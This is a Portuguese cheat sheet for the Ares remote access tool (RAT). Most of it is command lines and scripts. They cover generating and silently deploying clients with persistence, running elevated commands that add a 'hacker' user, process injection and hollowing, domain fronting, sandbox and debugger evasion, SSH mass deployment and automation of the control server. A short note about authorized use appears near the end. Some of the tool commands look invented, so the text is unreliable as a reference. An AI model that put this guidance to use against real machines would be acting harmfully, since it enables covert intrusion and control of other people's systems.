Folha de Dicas do Ares RAT

Visão Geral

Ares RAT (Remote Access Tool) é uma ferramenta de administração remota baseada em Python que fornece controle abrangente sobre sistemas de destino por meio de uma interface web. Desenvolvido como um projeto de código aberto, Ares RAT oferece uma abordagem moderna para gerenciamento de sistemas remotos e testes de penetração com sua interface web intuitiva e conjunto de recursos extenso. A ferramenta é projetada para facilitar tarefas legítimas de administração de sistemas, servindo também como um recurso valioso para profissionais de segurança que realizam testes de penetração autorizados e operações de equipes vermelhas.

A arquitetura do Ares RAT consiste em um cliente Python leve que estabelece conexões com um componente de servidor centralizado. O servidor fornece um painel web que permite aos operadores gerenciar vários clientes conectados simultaneamente, executar comandos, transferir arquivos e monitorar atividades do sistema. Esse design torna o Ares RAT particularmente adequado para cenários que requerem gerenciamento de múltiplos sistemas comprometidos ou para fins educacionais em ambientes de laboratório controlados.

O Ares RAT se destaca por seu foco na facilidade de uso e flexibilidade de implantação. A implementação baseada em Python garante compatibilidade multiplataforma, enquanto a interface web elimina a necessidade de software cliente especializado para operadores. A ferramenta inclui recursos para persistência, operação furtiva e reconhecimento abrangente do sistema, tornando-a uma plataforma versátil para treinamento de segurança defensiva e operações de segurança ofensiva.

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Clone Ares RAT repository

git clone https://github.com/sweetsoftware/Ares.git cd Ares

Install Python dependencies

pip3 install -r requirements.txt

Install additional dependencies

pip3 install flask flask-socketio eventlet

Set up database

python3 setup_database.py

Configure server settings

cp config.example.py config.py nano config.py


### Client Generation

Generating Ares RAT clients for deployment:

```bash
# Generate basic client
python3 generate_client.py --server 192.168.1.100 --port 8080

# Generate Windows executable
python3 generate_client.py --server 192.168.1.100 --port 8080 --platform windows --output client.exe

# Generate Linux client
python3 generate_client.py --server 192.168.1.100 --port 8080 --platform linux --output client

# Generate with custom settings
python3 generate_client.py --server 192.168.1.100 --port 8080 --delay 30 --persistence

# Generate encrypted client
python3 generate_client.py --server 192.168.1.100 --port 8080 --encrypt --key "encryption_key_here"

Docker Deployment

# Build Ares RAT container
docker build -t ares-rat .

# Run server container
docker run -d -p 8080:8080 -p 443:443 --name ares-server ares-rat

# Run with persistent storage
docker run -d -p 8080:8080 -v /host/data:/app/data --name ares-server ares-rat

# Access container logs
docker logs ares-server

# Execute commands in container
docker exec -it ares-server /bin/bash

Basic Usage

Server Management

Starting and managing the Ares RAT server:

# Start Ares RAT server
python3 ares_server.py --host 0.0.0.0 --port 8080

# Start with SSL/TLS
python3 ares_server.py --host 0.0.0.0 --port 443 --ssl --cert server.crt --key server.key

# Start with authentication
python3 ares_server.py --host 0.0.0.0 --port 8080 --auth --username admin --password secure_pass

# Start in debug mode
python3 ares_server.py --host 0.0.0.0 --port 8080 --debug

# Start with custom database
python3 ares_server.py --host 0.0.0.0 --port 8080 --database /path/to/custom.db

Web Interface Access

Accessing the Ares RAT web interface:

# Access web interface
http://192.168.1.100:8080

# Access with HTTPS
https://192.168.1.100:443

# Login with credentials
Username: admin
Password: [configured_password]

# API access
curl -X GET http://192.168.1.100:8080/api/clients -H "Authorization: Bearer [token]"

Client Deployment

Deploying Ares RAT clients on target systems:

# Deploy via PowerShell (Windows)
powershell -ExecutionPolicy Bypass -File deploy_client.ps1

# Deploy via bash (Linux)
bash deploy_client.sh

# Deploy via Python
python3 client.py --server 192.168.1.100 --port 8080

# Deploy with persistence
python3 client.py --server 192.168.1.100 --port 8080 --persist

# Deploy silently
python3 client.py --server 192.168.1.100 --port 8080 --silent

Advanced Features

Command Execution

Executing commands through Ares RAT:

# Execute system command
ares> execute "whoami"

# Execute PowerShell command (Windows)
ares> powershell "Get-Process"

# Execute with elevated privileges
ares> execute_elevated "net user hacker password123 /add"

# Execute in background
ares> execute_background "ping -t google.com"

# Execute Python script
ares> execute_python "import os; print(os.getcwd())"

File Operations

Managing files through Ares RAT:

# Upload file to target
ares> upload /local/path/file.txt C:\temp\file.txt

# Download file from target
ares> download C:\temp\data.txt /local/path/data.txt

# List directory contents
ares> list_directory C:\Users\

# Create directory
ares> create_directory C:\temp\new_folder

# Delete file
ares> delete_file C:\temp\unwanted.txt

# Copy file
ares> copy_file C:\source.txt C:\destination.txt

System Information

Gathering system information:

# Get system information
ares> system_info

# Get network information
ares> network_info

# Get process list
ares> process_list

# Get installed software
ares> installed_software

# Get user accounts
ares> user_accounts

# Get system services
ares> services_list

Persistence Mechanisms

Establishing persistence:

# Registry persistence (Windows)
ares> persist_registry --key "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" --name "AresClient"

# Scheduled task persistence
ares> persist_task --name "SystemUpdate" --trigger startup

# Service persistence
ares> persist_service --name "AresService" --display "System Update Service"

# Startup folder persistence
ares> persist_startup --path "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"

# Cron job persistence (Linux)
ares> persist_cron --schedule "*/5 * * * *" --command "/path/to/client"

Stealth and Evasion

Process Management

Managing process visibility:

# Hide process
ares> hide_process

# Migrate to different process
ares> migrate_process explorer.exe

# Inject into process
ares> inject_process notepad.exe

# Create hollow process
ares> hollow_process svchost.exe

# Set process priority
ares> set_priority low

Network Evasion

Implementing network evasion techniques:

# Use proxy for communications
ares> set_proxy 192.168.1.50:3128

# Enable domain fronting
ares> set_domain_front cdn.cloudflare.com

# Randomize User-Agent
ares> set_user_agent random

# Set custom headers
ares> set_headers "X-Custom: value"

# Enable traffic encryption
ares> enable_encryption AES256

Anti-Analysis

Implementing anti-analysis techniques:

# Detect virtual machines
ares> detect_vm

# Detect sandboxes
ares> detect_sandbox

# Detect debuggers
ares> detect_debugger

# Check for analysis tools
ares> detect_analysis_tools

# Implement delays
ares> set_delay 60-300

Automation Scripts

Mass Deployment

#!/bin/bash
# Ares RAT mass deployment script

SERVER_IP="192.168.1.100"
SERVER_PORT="8080"
TARGET_LIST="targets.txt"

echo "Starting Ares RAT mass deployment"

# Generate client for each target
while IFS= read -r target; do
    echo "Deploying to $target"

    # Generate custom client
    python3 generate_client.py --server $SERVER_IP --port $SERVER_PORT --target $target

    # Deploy via SSH
    scp ares_client.py user@$target:/tmp/
    ssh user@$target "cd /tmp && python3 ares_client.py --server $SERVER_IP --port $SERVER_PORT &"

    echo "Deployed to $target successfully"
    sleep 5
done < "$TARGET_LIST"

echo "Mass deployment completed"

Command Automation

#!/usr/bin/env python3
# Ares RAT command automation

import requests
import json
import time

class AresAutomation:
    def __init__(self, server_url, auth_token):
        self.server_url = server_url
        self.auth_token = auth_token
        self.headers = \\\\{"Authorization": f"Bearer \\\\{auth_token\\\\}"\\\\}

    def get_clients(self):
        """Get list of connected clients"""
        response = requests.get(f"\\\\{self.server_url\\\\}/api/clients", headers=self.headers)
        return response.json()

    def execute_command(self, client_id, command):
        """Execute command on specific client"""
        data = \\\\{"command": command\\\\}
        response = requests.post(f"\\\\{self.server_url\\\\}/api/clients/\\\\{client_id\\\\}/execute",
                               json=data, headers=self.headers)
        return response.json()

    def mass_execute(self, command):
        """Execute command on all clients"""
        clients = self.get_clients()
        results = \\\\{\\\\}

        for client in clients:
            client_id = client['id']
            result = self.execute_command(client_id, command)
            results[client_id] = result
            time.sleep(1)

        return results

# Usage example
if __name__ == "__main__":
    automation = AresAutomation("http://192.168.1.100:8080", "your_auth_token")

    # Execute command on all clients
    results = automation.mass_execute("whoami")

    for client_id, result in results.items():
        print(f"Client \\\\{client_id\\\\}: \\\\{result\\\\}")

Monitoring Script

#!/usr/bin/env python3
# Ares RAT monitoring script

import requests
import time
import json
from datetime import datetime

def monitor_ares_activity():
    """Monitor Ares RAT activity"""

    server_url = "http://192.168.1.100:8080"
    auth_token = "your_auth_token"
    headers = \\\\{"Authorization": f"Bearer \\\\{auth_token\\\\}"\\\\}

    while True:
        try:
            # Get server status
            response = requests.get(f"\\\\{server_url\\\\}/api/status", headers=headers)

            if response.status_code == 200:
                data = response.json()

                print(f"[\\\\{datetime.now()\\\\}] Server Status:")
                print(f"  Active clients: \\\\{data['active_clients']\\\\}")
                print(f"  Total commands: \\\\{data['total_commands']\\\\}")
                print(f"  Uptime: \\\\{data['uptime']\\\\}")

                # Get client details
                clients_response = requests.get(f"\\\\{server_url\\\\}/api/clients", headers=headers)
                clients = clients_response.json()

                for client in clients:
                    print(f"  Client \\\\{client['id']\\\\}: \\\\{client['hostname']\\\\} - \\\\{client['last_seen']\\\\}")

                print("-" * 50)

            time.sleep(60)

        except Exception as e:
            print(f"Monitoring error: \\\\{e\\\\}")
            time.sleep(30)

if __name__ == "__main__":
    monitor_ares_activity()

Integration Examples

SIEM Integration

#!/usr/bin/env python3
# Ares RAT SIEM integration

import requests
import json
import syslog

def send_to_siem(event_data):
    """Send Ares RAT events to SIEM"""

    # Splunk integration
    splunk_url = "https://splunk.company.com:8088/services/collector"
    splunk_token = "your_splunk_token"

    headers = \\\\{
        "Authorization": f"Splunk \\\\{splunk_token\\\\}",
        "Content-Type": "application/json"
    \\\\}

    splunk_event = \\\\{
        "event": event_data,
        "sourcetype": "ares_rat",
        "source": "ares_server"
    \\\\}

    response = requests.post(splunk_url, json=splunk_event, headers=headers)

    # Syslog integration
    syslog.openlog("AresRAT")
    syslog.syslog(syslog.LOG_INFO, json.dumps(event_data))
    syslog.closelog()

# Usage
event = \\\\{
    "timestamp": "2024-01-01T12:00:00Z",
    "client_id": "client_001",
    "action": "command_executed",
    "command": "whoami",
    "result": "DOMAIN\\user"
\\\\}

send_to_siem(event)

Threat Intelligence Integration

#!/usr/bin/env python3
# Ares RAT threat intelligence integration

import requests
import hashlib

def check_threat_intel(ioc, ioc_type):
    """Check IOC against threat intelligence sources"""

    # VirusTotal integration
    vt_api_key = "your_vt_api_key"

    if ioc_type == "hash":
        url = f"https://www.virustotal.com/vtapi/v2/file/report"
        params = \\\\{"apikey": vt_api_key, "resource": ioc\\\\}
    elif ioc_type == "ip":
        url = f"https://www.virustotal.com/vtapi/v2/ip-address/report"
        params = \\\\{"apikey": vt_api_key, "ip": ioc\\\\}

    response = requests.get(url, params=params)

    if response.status_code == 200:
        data = response.json()
        return data

    return None

# Check client binary hash
client_hash = hashlib.sha256(open("ares_client.py", "rb").read()).hexdigest()
threat_data = check_threat_intel(client_hash, "hash")

if threat_data and threat_data.get("positives", 0) > 0:
    print(f"Warning: Client detected by \\\\{threat_data['positives']\\\\} engines")

Troubleshooting

Connection Issues

# Test server connectivity
curl -v http://192.168.1.100:8080/api/status

# Check port accessibility
telnet 192.168.1.100 8080

# Verify firewall rules
sudo iptables -L|grep 8080

# Check DNS resolution
nslookup ares-server.domain.com

# Test with different protocols
curl -k https://192.168.1.100:443/api/status

Problemas do Cliente

# Debug client connection
python3 ares_client.py --server 192.168.1.100 --port 8080 --debug

# Check client logs
tail -f /tmp/ares_client.log

# Verify client configuration
python3 -c "import ares_client; print(ares_client.config)"

# Test manual connection
python3 -c "
import socket
s = socket.socket()
s.connect(('192.168.1.100', 8080))
print('Connection successful')
s.close()
"

Problemas de Desempenho

# Monitor server resources
top -p $(pgrep ares_server)

# Check memory usage
ps aux|grep ares

# Monitor network connections
netstat -an|grep 8080

# Check disk space
df -h

# Monitor database size
du -sh ares.db

Considerações de Segurança

Segurança Operacional

Segurança do Servidor:

Usar credenciais de autenticação fortes
Ativar criptografia HTTPS/TLS
Implementar whitelisting de IP
Atualizações de segurança regulares
Monitorar logs de acesso

Segurança do Cliente:

Usar comunicações criptografadas
Implementar técnicas anti-análise
Atualizações regulares de payload
Exclusão segura de artefatos
Monitorar detecção

Segurança de Rede:

Usar VPNs ou proxies para tráfego C2
Implementar domain fronting
Randomizar padrões de comunicação
Monitorar anomalias de rede
Usar tráfego com aparência legítima

Considerações Legais e Éticas

Uso Autorizado Apenas:

Obter autorização por escrito adequada
Definir escopo e limitações claras
Documentar todas as atividades
Seguir divulgação responsável
Respeitar privacidade e confidencialidade

Conformidade:

Seguir leis e regulamentos aplicáveis
Implementar medidas de proteção de dados
Manter trilhas de auditoria
Revisões regulares de conformidade
Procedimentos de resposta a incidentes

Referências

Repositório GitHub do Ares RAT Ferramentas de Acesso Remoto em Python https://www.nist.gov/cybersecurity[Frameworks de C2 baseados na Web](